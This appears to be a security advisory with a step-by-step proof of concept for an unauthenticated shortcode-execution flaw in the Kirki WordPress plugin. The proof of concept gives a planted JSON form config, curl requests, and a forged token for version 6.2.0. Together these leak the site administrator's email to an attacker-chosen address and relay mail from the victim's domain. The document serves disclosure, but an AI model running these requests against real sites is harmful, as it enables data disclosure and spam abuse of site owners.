Kirki < 6.2.1 – Unauthenticated Arbitrary Shortcode Execution via Form Email Actions | CVE 2026-16747

Description

The plugin does not properly authorise its front-end form submission REST routes and passes attacker-controlled input through shortcode execution, allowing unauthenticated users to run any shortcode registered on the site, which on a default install leads to disclosure of the site administrator's email address and an arbitrary-recipient mail relay from the victim's domain.

Proof of Concept

Both requests are unauthenticated: no WordPress login cookies are used, only an attacker-chosen `kirki_session_id` cookie. Both use `Content-Type: application/json` (the body is `json_decode`d without unslashing, so URL-encoding corrupts the nested JSON). No `context`/`post_id` parameters are sent, so the shared permission callback fails open.

## Step 1 - PLANT
Store an attacker-controlled form config into a session keyed only by the attacker's cookie. The response returns a usable `wp_rest` nonce (`_wpnonce`) and the `_kirki_form` token to the anonymous caller.

Body (plant.json):
{"collection_id":"pocform1","kirki_data":"{\"blocks\":{\"pocform1\":{\"id\":\"pocform1\",\"name\":\"form\",\"source\":\"kirki\",\"properties\":{\"form\":{\"type\":\"internal\",\"name\":\"pocform\",\"fields\":{},\"actions\":[{\"type\":\"email\",\"emailList\":\"attacker@evil.test\",\"subject\":\"[admin_email]\",\"name\":\"PoC\",\"replyTo\":\"poc@attacker.test\"}]},\"attributes\":{}},\"children\":[]}},\"styles\":{}}"}

Request:
curl -k -X POST "https://victim.example/?rest_route=/kirki/v1/frontend/collection" \
  -H "Content-Type: application/json" -H "Cookie: kirki_session_id=poc-session-1" \
  --data-binary @plant.json

The plant response is HTTP 200 and its hidden inputs contain `_kirki_form` = `Y0c5alptOXliVEY4TUE9PQ==` (base64(base64("pocform1|0"))) and `_wpnonce` (the wp_rest nonce for the anonymous user).

## Step 2 - TRIGGER
Replay the token and nonce with the same cookie. The handler verifies only the wp_rest nonce, loads the attacker's session config, and runs do_shortcode() on the email-action fields.

curl -k -X POST "https://victim.example/?rest_route=/kirki/v1/frontend/form" \
  -H "Content-Type: application/json" -H "Cookie: kirki_session_id=poc-session-1" \
  --data-binary '{"_kirki_form":"Y0c5alptOXliVEY4TUE9PQ==","_wpnonce":"<_wpnonce from the plant response>"}'

Expected result: HTTP 200 with body `true`. The plugin sends an email `From: wordpress@victim.example`, `To: attacker@evil.test`, `Subject: <the site administrator's email address>` - i.e. do_shortcode("[admin_email]") resolved get_option('admin_email') and delivered it to the attacker-chosen recipient. Because do_shortcode() runs every shortcode registered on the site, any shortcode provided by WordPress core or an active plugin/theme can likewise be executed by an unauthenticated attacker; the [admin_email] disclosure plus mail relay is the self-contained impact on a bare install.

## Step 2 variant - version 6.2.0
6.2.0 is affected too and is reached slightly differently, so use this trigger against it. Its rewritten form route verifies no nonce at all, so only the token and the cookie are needed. The token must carry a non-zero post id, because the handler treats "0" as absent; the post itself does not need to exist.

curl -k -X POST "https://victim.example/?rest_route=/kirki/v1/frontend/form" \
  -H "Content-Type: application/json" -H "Cookie: kirki_session_id=poc-session-1" \
  --data-binary '{"_kirki_form":"Y0c5alptOXliVEY4TVE9PQ=="}'

That token is base64(base64("pocform1|1")). Step 1 is unchanged, and the expected result is the same as Step 2.